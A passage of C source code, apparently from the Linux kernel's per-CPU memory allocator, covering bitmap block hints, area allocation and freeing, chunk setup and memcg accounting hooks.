PCPU_BITMAP_BLOCK_BITS, e_off);
if (e_off == PCPU_BITMAP_BLOCK_BITS) {
/* reset the block */
e_block++;
} else {
if (e_off > e_block->scan_hint_start)
e_block->scan_hint = 0;
e_block->left_free = 0;
if (e_off > e_block->contig_hint_start) {
/* contig hint is broken - scan to fix it */
pcpu_block_refresh_hint(chunk, e_index);
} else {
e_block->right_free =
min_t(int, e_block->right_free,
PCPU_BITMAP_BLOCK_BITS - e_off);
}
}
/* update in-between md_blocks */
nr_empty_pages += (e_index - s_index - 1);
for (block = s_block + 1; block < e_block; block++) {
block->scan_hint = 0;
block->contig_hint = 0;
block->left_free = 0;
block->right_free = 0;
}
}
if (nr_empty_pages)
pcpu_update_empty_pages(chunk, -nr_empty_pages);
if (pcpu_region_overlap(chunk_md->scan_hint_start,
chunk_md->scan_hint_start +
chunk_md->scan_hint,
bit_off,
bit_off + bits))
chunk_md->scan_hint = 0;
/*
* The only time a full chunk scan is required is if the chunk
* contig hint is broken. Otherwise, it means a smaller space
* was used and therefore the chunk contig hint is still correct.
*/
if (pcpu_region_overlap(chunk_md->contig_hint_start,
chunk_md->contig_hint_start +
chunk_md->contig_hint,
bit_off,
bit_off + bits))
pcpu_chunk_refresh_hint(chunk, false);
}
/**
* pcpu_block_update_hint_free - updates the block hints on the free path
* @chunk: chunk of interest
* @bit_off: chunk offset
* @bits: size of request
*
* Updates metadata for the allocation path. This avoids a blind block
* refresh by making use of the block contig hints. If this fails, it scans
* forward and backward to determine the extent of the free area. This is
* capped at the boundary of blocks.
*
* A chunk update is triggered if a page becomes free, a block becomes free,
* or the free spans across blocks. This tradeoff is to minimize iterating
* over the block metadata to update chunk_md->contig_hint.
* chunk_md->contig_hint may be off by up to a page, but it will never be more
* than the available space. If the contig hint is contained in one block, it
* will be accurate.
*/
static void pcpu_block_update_hint_free(struct pcpu_chunk *chunk, int bit_off,
int bits)
{
int nr_empty_pages = 0;
struct pcpu_block_md *s_block, *e_block, *block;
int s_index, e_index; /* block indexes of the freed allocation */
int s_off, e_off; /* block offsets of the freed allocation */
int start, end; /* start and end of the whole free area */
/*
* Calculate per block offsets.
* The calculation uses an inclusive range, but the resulting offsets
* are [start, end). e_index always points to the last block in the
* range.
*/
s_index = pcpu_off_to_block_index(bit_off);
e_index = pcpu_off_to_block_index(bit_off + bits - 1);
s_off = pcpu_off_to_block_off(bit_off);
e_off = pcpu_off_to_block_off(bit_off + bits - 1) + 1;
s_block = chunk->md_blocks + s_index;
e_block = chunk->md_blocks + e_index;
/*
* Check if the freed area aligns with the block->contig_hint.
* If it does, then the scan to find the beginning/end of the
* larger free area can be avoided.
*
* start and end refer to beginning and end of the free area
* within each their respective blocks. This is not necessarily
* the entire free area as it may span blocks past the beginning
* or end of the block.
*/
start = s_off;
if (s_off == s_block->contig_hint + s_block->contig_hint_start) {
start = s_block->contig_hint_start;
} else {
/*
* Scan backwards to find the extent of the free area.
* find_last_bit returns the starting bit, so if the start bit
* is returned, that means there was no last bit and the
* remainder of the chunk is free.
*/
int l_bit = find_last_bit(pcpu_index_alloc_map(chunk, s_index),
start);
start = (start == l_bit) ? 0 : l_bit + 1;
}
end = e_off;
if (e_off == e_block->contig_hint_start)
end = e_block->contig_hint_start + e_block->contig_hint;
else
end = find_next_bit(pcpu_index_alloc_map(chunk, e_index),
PCPU_BITMAP_BLOCK_BITS, end);
/* update s_block */
e_off = (s_index == e_index) ? end : PCPU_BITMAP_BLOCK_BITS;
if (!start && e_off == PCPU_BITMAP_BLOCK_BITS)
nr_empty_pages++;
pcpu_block_update(s_block, start, e_off);
/* freeing in the same block */
if (s_index != e_index) {
/* update e_block */
if (end == PCPU_BITMAP_BLOCK_BITS)
nr_empty_pages++;
pcpu_block_update(e_block, 0, end);
/* reset md_blocks in the middle */
nr_empty_pages += (e_index - s_index - 1);
for (block = s_block + 1; block < e_block; block++) {
block->first_free = 0;
block->scan_hint = 0;
block->contig_hint_start = 0;
block->contig_hint = PCPU_BITMAP_BLOCK_BITS;
block->left_free = PCPU_BITMAP_BLOCK_BITS;
block->right_free = PCPU_BITMAP_BLOCK_BITS;
}
}
if (nr_empty_pages)
pcpu_update_empty_pages(chunk, nr_empty_pages);
/*
* Refresh chunk metadata when the free makes a block free or spans
* across blocks. The contig_hint may be off by up to a page, but if
* the contig_hint is contained in a block, it will be accurate with
* the else condition below.
*/
if (((end - start) >= PCPU_BITMAP_BLOCK_BITS) || s_index != e_index)
pcpu_chunk_refresh_hint(chunk, true);
else
pcpu_block_update(&chunk->chunk_md,
pcpu_block_off_to_off(s_index, start),
end);
}
/**
* pcpu_is_populated - determines if the region is populated
* @chunk: chunk of interest
* @bit_off: chunk offset
* @bits: size of area
* @next_off: return value for the next offset to start searching
*
* For atomic allocations, check if the backing pages are populated.
*
* RETURNS:
* Bool if the backing pages are populated.
* next_index is to skip over unpopulated blocks in pcpu_find_block_fit.
*/
static bool pcpu_is_populated(struct pcpu_chunk *chunk, int bit_off, int bits,
int *next_off)
{
unsigned int page_start, page_end, rs, re;
page_start = PFN_DOWN(bit_off * PCPU_MIN_ALLOC_SIZE);
page_end = PFN_UP((bit_off + bits) * PCPU_MIN_ALLOC_SIZE);
rs = page_start;
bitmap_next_clear_region(chunk->populated, &rs, &re, page_end);
if (rs >= page_end)
return true;
*next_off = re * PAGE_SIZE / PCPU_MIN_ALLOC_SIZE;
return false;
}
/**
* pcpu_find_block_fit - finds the block index to start searching
* @chunk: chunk of interest
* @alloc_bits: size of request in allocation units
* @align: alignment of area (max PAGE_SIZE bytes)
* @pop_only: use populated regions only
*
* Given a chunk and an allocation spec, find the offset to begin searching
* for a free region. This iterates over the bitmap metadata blocks to
* find an offset that will be guaranteed to fit the requirements. It is
* not quite first fit as if the allocation does not fit in the contig hint
* of a block or chunk, it is skipped. This errs on the side of caution
* to prevent excess iteration. Poor alignment can cause the allocator to
* skip over blocks and chunks that have valid free areas.
*
* RETURNS:
* The offset in the bitmap to begin searching.
* -1 if no offset is found.
*/
static int pcpu_find_block_fit(struct pcpu_chunk *chunk, int alloc_bits,
size_t align, bool pop_only)
{
struct pcpu_block_md *chunk_md = &chunk->chunk_md;
int bit_off, bits, next_off;
/*
* Check to see if the allocation can fit in the chunk's contig hint.
* This is an optimization to prevent scanning by assuming if it
* cannot fit in the global hint, there is memory pressure and creating
* a new chunk would happen soon.
*/
bit_off = ALIGN(chunk_md->contig_hint_start, align) -
chunk_md->contig_hint_start;
if (bit_off + alloc_bits > chunk_md->contig_hint)
return -1;
bit_off = pcpu_next_hint(chunk_md, alloc_bits);
bits = 0;
pcpu_for_each_fit_region(chunk, alloc_bits, align, bit_off, bits) {
if (!pop_only || pcpu_is_populated(chunk, bit_off, bits,
&next_off))
break;
bit_off = next_off;
bits = 0;
}
if (bit_off == pcpu_chunk_map_bits(chunk))
return -1;
return bit_off;
}
/*
* pcpu_find_zero_area - modified from bitmap_find_next_zero_area_off()
* @map: the address to base the search on
* @size: the bitmap size in bits
* @start: the bitnumber to start searching at
* @nr: the number of zeroed bits we're looking for
* @align_mask: alignment mask for zero area
* @largest_off: offset of the largest area skipped
* @largest_bits: size of the largest area skipped
*
* The @align_mask should be one less than a power of 2.
*
* This is a modified version of bitmap_find_next_zero_area_off() to remember
* the largest area that was skipped. This is imperfect, but in general is
* good enough. The largest remembered region is the largest failed region
* seen. This does not include anything we possibly skipped due to alignment.
* pcpu_block_update_scan() does scan backwards to try and recover what was
* lost to alignment. While this can cause scanning to miss earlier possible
* free areas, smaller allocations will eventually fill those holes.
*/
static unsigned long pcpu_find_zero_area(unsigned long *map,
unsigned long size,
unsigned long start,
unsigned long nr,
unsigned long align_mask,
unsigned long *largest_off,
unsigned long *largest_bits)
{
unsigned long index, end, i, area_off, area_bits;
again:
index = find_next_zero_bit(map, size, start);
/* Align allocation */
index = __ALIGN_MASK(index, align_mask);
area_off = index;
end = index + nr;
if (end > size)
return end;
i = find_next_bit(map, end, index);
if (i < end) {
area_bits = i - area_off;
/* remember largest unused area with best alignment */
if (area_bits > *largest_bits ||
(area_bits == *largest_bits && *largest_off &&
(!area_off || __ffs(area_off) > __ffs(*largest_off)))) {
*largest_off = area_off;
*largest_bits = area_bits;
}
start = i + 1;
goto again;
}
return index;
}
/**
* pcpu_alloc_area - allocates an area from a pcpu_chunk
* @chunk: chunk of interest
* @alloc_bits: size of request in allocation units
* @align: alignment of area (max PAGE_SIZE)
* @start: bit_off to start searching
*
* This function takes in a @start offset to begin searching to fit an
* allocation of @alloc_bits with alignment @align. It needs to scan
* the allocation map because if it fits within the block's contig hint,
* @start will be block->first_free. This is an attempt to fill the
* allocation prior to breaking the contig hint. The allocation and
* boundary maps are updated accordingly if it confirms a valid
* free area.
*
* RETURNS:
* Allocated addr offset in @chunk on success.
* -1 if no matching area is found.
*/
static int pcpu_alloc_area(struct pcpu_chunk *chunk, int alloc_bits,
size_t align, int start)
{
struct pcpu_block_md *chunk_md = &chunk->chunk_md;
size_t align_mask = (align) ? (align - 1) : 0;
unsigned long area_off = 0, area_bits = 0;
int bit_off, end, oslot;
lockdep_assert_held(&pcpu_lock);
oslot = pcpu_chunk_slot(chunk);
/*
* Search to find a fit.
*/
end = min_t(int, start + alloc_bits + PCPU_BITMAP_BLOCK_BITS,
pcpu_chunk_map_bits(chunk));
bit_off = pcpu_find_zero_area(chunk->alloc_map, end, start, alloc_bits,
align_mask, &area_off, &area_bits);
if (bit_off >= end)
return -1;
if (area_bits)
pcpu_block_update_scan(chunk, area_off, area_bits);
/* update alloc map */
bitmap_set(chunk->alloc_map, bit_off, alloc_bits);
/* update boundary map */
set_bit(bit_off, chunk->bound_map);
bitmap_clear(chunk->bound_map, bit_off + 1, alloc_bits - 1);
set_bit(bit_off + alloc_bits, chunk->bound_map);
chunk->free_bytes -= alloc_bits * PCPU_MIN_ALLOC_SIZE;
/* update first free bit */
if (bit_off == chunk_md->first_free)
chunk_md->first_free = find_next_zero_bit(
chunk->alloc_map,
pcpu_chunk_map_bits(chunk),
bit_off + alloc_bits);
pcpu_block_update_hint_alloc(chunk, bit_off, alloc_bits);
pcpu_chunk_relocate(chunk, oslot);
return bit_off * PCPU_MIN_ALLOC_SIZE;
}
/**
* pcpu_free_area - frees the corresponding offset
* @chunk: chunk of interest
* @off: addr offset into chunk
*
* This function determines the size of an allocation to free using
* the boundary bitmap and clears the allocation map.
*
* RETURNS:
* Number of freed bytes.
*/
static int pcpu_free_area(struct pcpu_chunk *chunk, int off)
{
struct pcpu_block_md *chunk_md = &chunk->chunk_md;
int bit_off, bits, end, oslot, freed;
lockdep_assert_held(&pcpu_lock);
pcpu_stats_area_dealloc(chunk);
oslot = pcpu_chunk_slot(chunk);
bit_off = off / PCPU_MIN_ALLOC_SIZE;
/* find end index */
end = find_next_bit(chunk->bound_map, pcpu_chunk_map_bits(chunk),
bit_off + 1);
bits = end - bit_off;
bitmap_clear(chunk->alloc_map, bit_off, bits);
freed = bits * PCPU_MIN_ALLOC_SIZE;
/* update metadata */
chunk->free_bytes += freed;
/* update first free bit */
chunk_md->first_free = min(chunk_md->first_free, bit_off);
pcpu_block_update_hint_free(chunk, bit_off, bits);
pcpu_chunk_relocate(chunk, oslot);
return freed;
}
static void pcpu_init_md_block(struct pcpu_block_md *block, int nr_bits)
{
block->scan_hint = 0;
block->contig_hint = nr_bits;
block->left_free = nr_bits;
block->right_free = nr_bits;
block->first_free = 0;
block->nr_bits = nr_bits;
}
static void pcpu_init_md_blocks(struct pcpu_chunk *chunk)
{
struct pcpu_block_md *md_block;
/* init the chunk's block */
pcpu_init_md_block(&chunk->chunk_md, pcpu_chunk_map_bits(chunk));
for (md_block = chunk->md_blocks;
md_block != chunk->md_blocks + pcpu_chunk_nr_blocks(chunk);
md_block++)
pcpu_init_md_block(md_block, PCPU_BITMAP_BLOCK_BITS);
}
/**
* pcpu_alloc_first_chunk - creates chunks that serve the first chunk
* @tmp_addr: the start of the region served
* @map_size: size of the region served
*
* This is responsible for creating the chunks that serve the first chunk. The
* base_addr is page aligned down of @tmp_addr while the region end is page
* aligned up. Offsets are kept track of to determine the region served. All
* this is done to appease the bitmap allocator in avoiding partial blocks.
*
* RETURNS:
* Chunk serving the region at @tmp_addr of @map_size.
*/
static struct pcpu_chunk * __init pcpu_alloc_first_chunk(unsigned long tmp_addr,
int map_size)
{
struct pcpu_chunk *chunk;
unsigned long aligned_addr, lcm_align;
int start_offset, offset_bits, region_size, region_bits;
size_t alloc_size;
/* region calculations */
aligned_addr = tmp_addr & PAGE_MASK;
start_offset = tmp_addr - aligned_addr;
/*
* Align the end of the region with the LCM of PAGE_SIZE and
* PCPU_BITMAP_BLOCK_SIZE. One of these constants is a multiple of
* the other.
*/
lcm_align = lcm(PAGE_SIZE, PCPU_BITMAP_BLOCK_SIZE);
region_size = ALIGN(start_offset + map_size, lcm_align);
/* allocate chunk */
alloc_size = sizeof(struct pcpu_chunk) +
BITS_TO_LONGS(region_size >> PAGE_SHIFT) * sizeof(unsigned long);
chunk = memblock_alloc(alloc_size, SMP_CACHE_BYTES);
if (!chunk)
panic("%s: Failed to allocate %zu bytes\n", __func__,
alloc_size);
INIT_LIST_HEAD(&chunk->list);
chunk->base_addr = (void *)aligned_addr;
chunk->start_offset = start_offset;
chunk->end_offset = region_size - chunk->start_offset - map_size;
chunk->nr_pages = region_size >> PAGE_SHIFT;
region_bits = pcpu_chunk_map_bits(chunk);
alloc_size = BITS_TO_LONGS(region_bits) * sizeof(chunk->alloc_map[0]);
chunk->alloc_map = memblock_alloc(alloc_size, SMP_CACHE_BYTES);
if (!chunk->alloc_map)
panic("%s: Failed to allocate %zu bytes\n", __func__,
alloc_size);
alloc_size =
BITS_TO_LONGS(region_bits + 1) * sizeof(chunk->bound_map[0]);
chunk->bound_map = memblock_alloc(alloc_size, SMP_CACHE_BYTES);
if (!chunk->bound_map)
panic("%s: Failed to allocate %zu bytes\n", __func__,
alloc_size);
alloc_size = pcpu_chunk_nr_blocks(chunk) * sizeof(chunk->md_blocks[0]);
chunk->md_blocks = memblock_alloc(alloc_size, SMP_CACHE_BYTES);
if (!chunk->md_blocks)
panic("%s: Failed to allocate %zu bytes\n", __func__,
alloc_size);
#ifdef CONFIG_MEMCG_KMEM
/* first chunk isn't memcg-aware */
chunk->obj_cgroups = NULL;
#endif
pcpu_init_md_blocks(chunk);
/* manage populated page bitmap */
chunk->immutable = true;
bitmap_fill(chunk->populated, chunk->nr_pages);
chunk->nr_populated = chunk->nr_pages;
chunk->nr_empty_pop_pages = chunk->nr_pages;
chunk->free_bytes = map_size;
if (chunk->start_offset) {
/* hide the beginning of the bitmap */
offset_bits = chunk->start_offset / PCPU_MIN_ALLOC_SIZE;
bitmap_set(chunk->alloc_map, 0, offset_bits);
set_bit(0, chunk->bound_map);
set_bit(offset_bits, chunk->bound_map);
chunk->chunk_md.first_free = offset_bits;
pcpu_block_update_hint_alloc(chunk, 0, offset_bits);
}
if (chunk->end_offset) {
/* hide the end of the bitmap */
offset_bits = chunk->end_offset / PCPU_MIN_ALLOC_SIZE;
bitmap_set(chunk->alloc_map,
pcpu_chunk_map_bits(chunk) - offset_bits,
offset_bits);
set_bit((start_offset + map_size) / PCPU_MIN_ALLOC_SIZE,
chunk->bound_map);
set_bit(region_bits, chunk->bound_map);
pcpu_block_update_hint_alloc(chunk, pcpu_chunk_map_bits(chunk)
- offset_bits, offset_bits);
}
return chunk;
}
static struct pcpu_chunk *pcpu_alloc_chunk(enum pcpu_chunk_type type, gfp_t gfp)
{
struct pcpu_chunk *chunk;
int region_bits;
chunk = pcpu_mem_zalloc(pcpu_chunk_struct_size, gfp);
if (!chunk)
return NULL;
INIT_LIST_HEAD(&chunk->list);
chunk->nr_pages = pcpu_unit_pages;
region_bits = pcpu_chunk_map_bits(chunk);
chunk->alloc_map = pcpu_mem_zalloc(BITS_TO_LONGS(region_bits) *
sizeof(chunk->alloc_map[0]), gfp);
if (!chunk->alloc_map)
goto alloc_map_fail;
chunk->bound_map = pcpu_mem_zalloc(BITS_TO_LONGS(region_bits + 1) *
sizeof(chunk->bound_map[0]), gfp);
if (!chunk->bound_map)
goto bound_map_fail;
chunk->md_blocks = pcpu_mem_zalloc(pcpu_chunk_nr_blocks(chunk) *
sizeof(chunk->md_blocks[0]), gfp);
if (!chunk->md_blocks)
goto md_blocks_fail;
#ifdef CONFIG_MEMCG_KMEM
if (pcpu_is_memcg_chunk(type)) {
chunk->obj_cgroups =
pcpu_mem_zalloc(pcpu_chunk_map_bits(chunk) *
sizeof(struct obj_cgroup *), gfp);
if (!chunk->obj_cgroups)
goto objcg_fail;
}
#endif
pcpu_init_md_blocks(chunk);
/* init metadata */
chunk->free_bytes = chunk->nr_pages * PAGE_SIZE;
return chunk;
#ifdef CONFIG_MEMCG_KMEM
objcg_fail:
pcpu_mem_free(chunk->md_blocks);
#endif
md_blocks_fail:
pcpu_mem_free(chunk->bound_map);
bound_map_fail:
pcpu_mem_free(chunk->alloc_map);
alloc_map_fail:
pcpu_mem_free(chunk);
return NULL;
}
static void pcpu_free_chunk(struct pcpu_chunk *chunk)
{
if (!chunk)
return;
#ifdef CONFIG_MEMCG_KMEM
pcpu_mem_free(chunk->obj_cgroups);
#endif
pcpu_mem_free(chunk->md_blocks);
pcpu_mem_free(chunk->bound_map);
pcpu_mem_free(chunk->alloc_map);
pcpu_mem_free(chunk);
}
/**
* pcpu_chunk_populated - post-population bookkeeping
* @chunk: pcpu_chunk which got populated
* @page_start: the start page
* @page_end: the end page
*
* Pages in [@page_start,@page_end) have been populated to @chunk. Update
* the bookkeeping information accordingly. Must be called after each
* successful population.
*
* If this is @for_alloc, do not increment pcpu_nr_empty_pop_pages because it
* is to serve an allocation in that area.
*/
static void pcpu_chunk_populated(struct pcpu_chunk *chunk, int page_start,
int page_end)
{
int nr = page_end - page_start;
lockdep_assert_held(&pcpu_lock);
bitmap_set(chunk->populated, page_start, nr);
chunk->nr_populated += nr;
pcpu_nr_populated += nr;
pcpu_update_empty_pages(chunk, nr);
}
/**
* pcpu_chunk_depopulated - post-depopulation bookkeeping
* @chunk: pcpu_chunk which got depopulated
* @page_start: the start page
* @page_end: the end page
*
* Pages in [@page_start,@page_end) have been depopulated from @chunk.
* Update the bookkeeping information accordingly. Must be called after
* each successful depopulation.
*/
static void pcpu_chunk_depopulated(struct pcpu_chunk *chunk,
int page_start, int page_end)
{
int nr = page_end - page_start;
lockdep_assert_held(&pcpu_lock);
bitmap_clear(chunk->populated, page_start, nr);
chunk->nr_populated -= nr;
pcpu_nr_populated -= nr;
pcpu_update_empty_pages(chunk, -nr);
}
/*
* Chunk management implementation.
*
* To allow different implementations, chunk alloc/free and
* [de]population are implemented in a separate file which is pulled
* into this file and compiled together. The following functions
* should be implemented.
*
* pcpu_populate_chunk - populate the specified range of a chunk
* pcpu_depopulate_chunk - depopulate the specified range of a chunk
* pcpu_create_chunk - create a new chunk
* pcpu_destroy_chunk - destroy a chunk, always preceded by full depop
* pcpu_addr_to_page - translate address to physical address
* pcpu_verify_alloc_info - check alloc_info is acceptable during init
*/
static int pcpu_populate_chunk(struct pcpu_chunk *chunk,
int page_start, int page_end, gfp_t gfp);
static void pcpu_depopulate_chunk(struct pcpu_chunk *chunk,
int page_start, int page_end);
static struct pcpu_chunk *pcpu_create_chunk(enum pcpu_chunk_type type,
gfp_t gfp);
static void pcpu_destroy_chunk(struct pcpu_chunk *chunk);
static struct page *pcpu_addr_to_page(void *addr);
static int __init pcpu_verify_alloc_info(const struct pcpu_alloc_info *ai);
#ifdef CONFIG_NEED_PER_CPU_KM
#include "percpu-km.c"
#else
#include "percpu-vm.c"
#endif
/**
* pcpu_chunk_addr_search - determine chunk containing specified address
* @addr: address for which the chunk needs to be determined.
*
* This is an internal function that handles all but static allocations.
* Static percpu address values should never be passed into the allocator.
*
* RETURNS:
* The address of the found chunk.
*/
static struct pcpu_chunk *pcpu_chunk_addr_search(void *addr)
{
/* is it in the dynamic region (first chunk)? */
if (pcpu_addr_in_chunk(pcpu_first_chunk, addr))
return pcpu_first_chunk;
/* is it in the reserved region? */
if (pcpu_addr_in_chunk(pcpu_reserved_chunk, addr))
return pcpu_reserved_chunk;
/*
* The address is relative to unit0 which might be unused and
* thus unmapped. Offset the address to the unit space of the
* current processor before looking it up in the vmalloc
* space. Note that any possible cpu id can be used here, so
* there's no need to worry about preemption or cpu hotplug.
*/
addr += pcpu_unit_offsets[raw_smp_processor_id()];
return pcpu_get_page_chunk(pcpu_addr_to_page(addr));
}
#ifdef CONFIG_MEMCG_KMEM
static enum pcpu_chunk_type pcpu_memcg_pre_alloc_hook(size_t size, gfp_t gfp,
struct obj_cgroup **objcgp)
{
struct obj_cgroup *objcg;
if (!memcg_kmem_enabled() || !(gfp & __GFP_ACCOUNT) ||
memcg_kmem_bypass())
return PCPU_CHUNK_ROOT;
objcg = get_obj_cgroup_from_current();
if (!objcg)
return PCPU_CHUNK_ROOT;
if (obj_cgroup_charge(objcg, gfp, size * num_possible_cpus())) {
obj_cgroup_put(objcg);
return PCPU_FAIL_ALLOC;
}
*objcgp = objcg;
return PCPU_CHUNK_MEMCG;
}
static void pcpu_memcg_post_alloc_hook(struct obj_cgroup *objcg,
struct pcpu_chunk *chunk, int off,
size_t size)
{
if (!objcg)
return;
if (chunk) {
chunk->obj_cgroups[off >> PCPU_MIN_ALLOC_SHIFT] = objcg;
rcu_read_lock();
mod_memcg_state(obj_cgroup_memcg(objcg), MEMCG_PERCPU_B,
size * num_possible_cpus());
rcu_read_unlock();
} else {
obj_cgroup_uncharge(objcg, size * num_possible_cpus());
obj_cgroup_put(objcg);
}
}
static void pcpu_memcg_free_hook(struct pcpu_chunk *chunk, int off, size_t size)
{
struct obj_cgroup *objcg;
if (!pcpu_is_memcg_chunk(pcpu_chunk_type(chunk)))
return;
objcg = chunk->obj_cgroups[off >> PCPU_MIN_ALLOC_SHIFT];
chunk->obj_cgroups[off >> PCPU_MIN_ALLOC_SHIFT] = NULL;
obj_cgroup_uncharge(objcg, size * num_possible_cpus());
rcu_read_lock();
mod_memcg_state(obj_cgroup_memcg(objcg), MEMCG_PERCPU_B,
-(size * num_possible_cpus()));
rcu_read_unlock();
obj_cgroup_put(objcg);
}
#else /* CONFIG_MEMCG_KMEM */
static enum pcpu_chunk_type
pcpu_memcg_pre_alloc_hook(size_t size, gfp_t gfp, struct obj_cgroup **objcgp)
{
return PCPU_CHUNK_ROOT;
}
static void pcpu_memcg_post_alloc_hook(struct obj_cgroup *objcg,
struct pcpu_chunk *chunk, int off,
size_t size)
{
}
static void pcpu_memcg_free_hook(struct pcpu_chunk *chunk, int off, size_t size)
{
}
#endif /* CONFIG_MEMCG_KMEM */
/**
* pcpu_alloc - the percpu allocator
* @size: size of area to allocate in bytes
* @align: alignment of area (max PAGE_SIZE)
* @reserved: allocate from the reserved chunk if available
* @gfp: allocation flags
*
* Allocate percpu area of @size bytes aligned at @align. If @gfp doesn't
* contain %GFP_KERNEL, the allocation is atomic. If @gfp has __GFP_NOWARN
* then no warning will be triggered on invalid or failed allocation
* requests.
*
* RETURNS:
* Percpu pointer to the allocated area on success, NULL on failure.
*/
static void __percpu *pcpu_alloc(size_t size, size_t align, bool reserved,
gfp_t gfp)
{
gfp_t pcpu_gfp;
bool is_atomic;
bool do_warn;
enum pcpu_chunk_type type;
struct list_head *pcpu_slot;
struct obj_cgroup *objcg = NULL;
static int warn_limit = 10;
struct pcpu_chunk *chunk, *next;
const char *err;
int slot, off, cpu, ret;
unsigned long flags;
void __percpu *ptr;
size_t bits, bit_align;
gfp = current_gfp_context(gfp);
/* whitelisted flags that can be passed to the backing allocators */
pcpu_gfp = gfp & (GFP_KERNEL | __GFP_NORETRY | __GFP_NOWARN);
is_atomic = (gfp & GFP_KERNEL) != GFP_KERNEL;
do_warn = !(gfp & __GFP_NOWARN);
/*
* There is now a minimum allocation size of PCPU_MIN_ALLOC_SIZE,
* therefore alignment must be a minimum of that many bytes.
* An allocation may have internal fragmentation from rounding up
* of up to PCPU_MIN_ALLOC_SIZE - 1 bytes.
*/
if (unlikely(align < PCPU_MIN_ALLOC_SIZE))
align = PCPU_MIN_ALLOC_SIZE;
size = ALIGN(size, PCPU_MIN_ALLOC_SIZE);
bits = size >> PCPU_MIN_ALLOC_SHIFT;
bit_align = align >> PCPU_MIN_ALLOC_SHIFT;
if (unlikely(!size || size > PCPU_MIN_UNIT_SIZE || align > PAGE_SIZE ||
!is_power_of_2(align))) {
WARN(do_warn, "illegal size (%zu) or align (%zu) for percpu allocation\n",
size, align);
return NULL;
}
type = pcpu_memcg_pre_alloc_hook(size, gfp, &objcg);
if (unlikely(type == PCPU_FAIL_ALLOC))
return NULL;
pcpu_slot = pcpu_chunk_list(type);
if (!is_atomic) {
/*
* pcpu_balance_workfn() allocates memory under this mutex,
* and it may wait for memory reclaim. Allow current task
* to become OOM victim, in case of memory pressure.
*/
if (gfp & __GFP_NOFAIL) {
mutex_lock(&pcpu_alloc_mutex);
} else if (mutex_lock_killable(&pcpu_alloc_mutex)) {
pcpu_memcg_post_alloc_hook(objcg, NULL, 0, size);
return NULL;
}
}
spin_lock_irqsave(&pcpu_lock, flags);
/* serve reserved allocations from the reserved chunk if available */
if (reserved && pcpu_reserved_chunk) {
chunk = pcpu_reserved_chunk;
off = pcpu_find_block_fit(chunk, bits, bit_align, is_atomic);
if (off < 0) {
err = "alloc from reserved chunk failed";
goto fail_unlock;
}
off = pcpu_alloc_area(chunk, bits, bit_align, off);
if (off >= 0)
goto area_found;
err = "alloc from reserved chunk failed";
goto fail_unlock;
}
restart:
/* search through normal chunks */
for (slot = pcpu_size_to_slot(size); slot < pcpu_nr_slots; slot++) {
list_for_each_entry_safe(chunk, next, &pcpu_slot[slot], list) {
off = pcpu_find_block_fit(chunk, bits, bit_align,
is_atomic);
if (off < 0) {
if (slot < PCPU_SLOT_FAIL_THRESHOLD)
pcpu_chunk_move(chunk, 0);
continue;
}
off = pcpu_alloc_area(chunk, bits, bit_align, off);
if (off >= 0)
goto area_found;
}
}
spin_unlock_irqrestore(&pcpu_lock, flags);
/*
* No space left. Create a new chunk. We don't want multiple
* tasks to create chunks simultaneously. Serialize and create iff
* there's still no empty chunk after grabbing the mutex.
*/
if (is_atomic) {
err = "atomic alloc failed, no space left";
goto fail;
}
if (list_empty(&pcpu_slot[pcpu_nr_slots - 1])) {
chunk = pcpu_create_chunk(type, pcpu_gfp);
if (!chunk) {
err = "failed to allocate new chunk";
goto fail;
}
spin_lock_irqsave(&pcpu_lock, flags);
pcpu_chunk_relocate(chunk, -1);
} else {
spin_lock_irqsave(&pcpu_lock, flags);
}
goto restart;
area_found:
pcpu_stats_area_alloc(chunk, size);
spin_unlock_irqrestore(&pcpu_lock, flags);
/* populate if not all pages are already there */
if (!is_atomic) {
unsigned int page_start, page_end, rs, re;
page_start = PFN_DOWN(off);
page_end = PFN_UP(off + size);
bitmap_for_each_clear_region(chunk->populated, rs, re,
page_start, page_end) {
WARN_ON(chunk->immutable);
ret = pcpu_populate_chunk(chunk, rs, re, pcpu_gfp);
spin_lock_irqsave(&pcpu_lock, flags);
if (ret) {
pcpu_free_area(chunk, off);
err = "failed to populate";
goto fail_unlock;
}
pcpu_chunk_populated(chunk, rs, re);
spin_unlock_irqrestore(&pcpu_lock, flags);
}
mutex_unlock(&pcpu_alloc_mutex);
}
if (pcpu_nr_empty_pop_pages < PCPU_EMPTY_POP_PAGES_LOW)
pcpu_schedule_balance_work();
/* clear the areas and return address relative to base address */
for_each_possible_cpu(cpu)
memset((void *)pcpu_chunk_addr(chunk, cpu, 0) + off, 0, size);
ptr = __addr_to_pcpu_ptr(chunk->base_addr + off);
kmemleak_alloc_percpu(ptr, size, gfp);
trace_percpu_alloc_percpu(reserved, is_atomic, size, align,
chunk->base_addr, off, ptr);
pcpu_memcg_post_alloc_hook(objcg, chunk, off, size);
return ptr;
fail_unlock:
spin_unlock_irqrestore(&pcpu_lock, flags);
fail:
trace_percpu_alloc_percpu_fail(reserved, is_atomic, size, align);
if (!is_atomic && do_warn && warn_limit) {
pr_warn("allocation failed, size=%zu align=%zu atomic=%d, %s\n",
size, align, is_atomic, err);
dump_stack();
if (!--warn_limit)
pr_info("limit reached, disable warning\n");
}
if (is_atomic) {
/* see the flag handling in pcpu_blance_workfn() */
pcpu_atomic_alloc_failed = true;
pcpu_schedule_balance_work();
} else {
mutex_unlock(&pcpu_alloc_mutex);
}
pcpu_memcg_post_alloc_hook(objcg, NULL, 0, size);
return NULL;
}
/**
* __alloc_percpu_gfp - allocate dynamic percpu area
* @size: size of area to allocate in bytes
* @align: alignment of area (max PAGE_SIZE)
* @gfp: allocation flags
*
* Allocate zero-filled percpu area of @size bytes aligned at @align. If
* @gfp doesn't contain %GFP_KERNEL, the allocation doesn't block and can
* be called from any context but is a lot more likely to fail. If @gfp
* has __GFP_NOWARN then no warning will be triggered on invalid or failed
* allocation requests.
*
* RETURNS:
* Percpu pointer to the allocated area on success, NULL on failure.
*/
void __percpu *__alloc_percpu_gfp(size_t size, size_t align, gfp_t gfp)
{
return pcpu_alloc(size, align, false, gfp);
}
EXPORT_SYMBOL_GPL(__alloc_percpu_gfp);
/**
* __alloc_percpu - allocate dynamic percpu area
* @size: size of area to allocate in bytes
* @align: alignment of area (max PAGE_SIZE)
*
* Equivalent to __alloc_percpu_gfp(size, align, %GFP_KERNEL).
*/
void __percpu *__alloc_percpu(size_t size, size_t align)
{
return pcpu_alloc(size, align, false, GFP_KERNEL);
}
EXPORT_SYMBOL_GPL(__alloc_percpu);
/**
* __alloc_reserved_percpu - allocate reserved percpu area
* @size: size of area to allocate in bytes
* @align: alignment of area (max PAGE_SIZE)
*
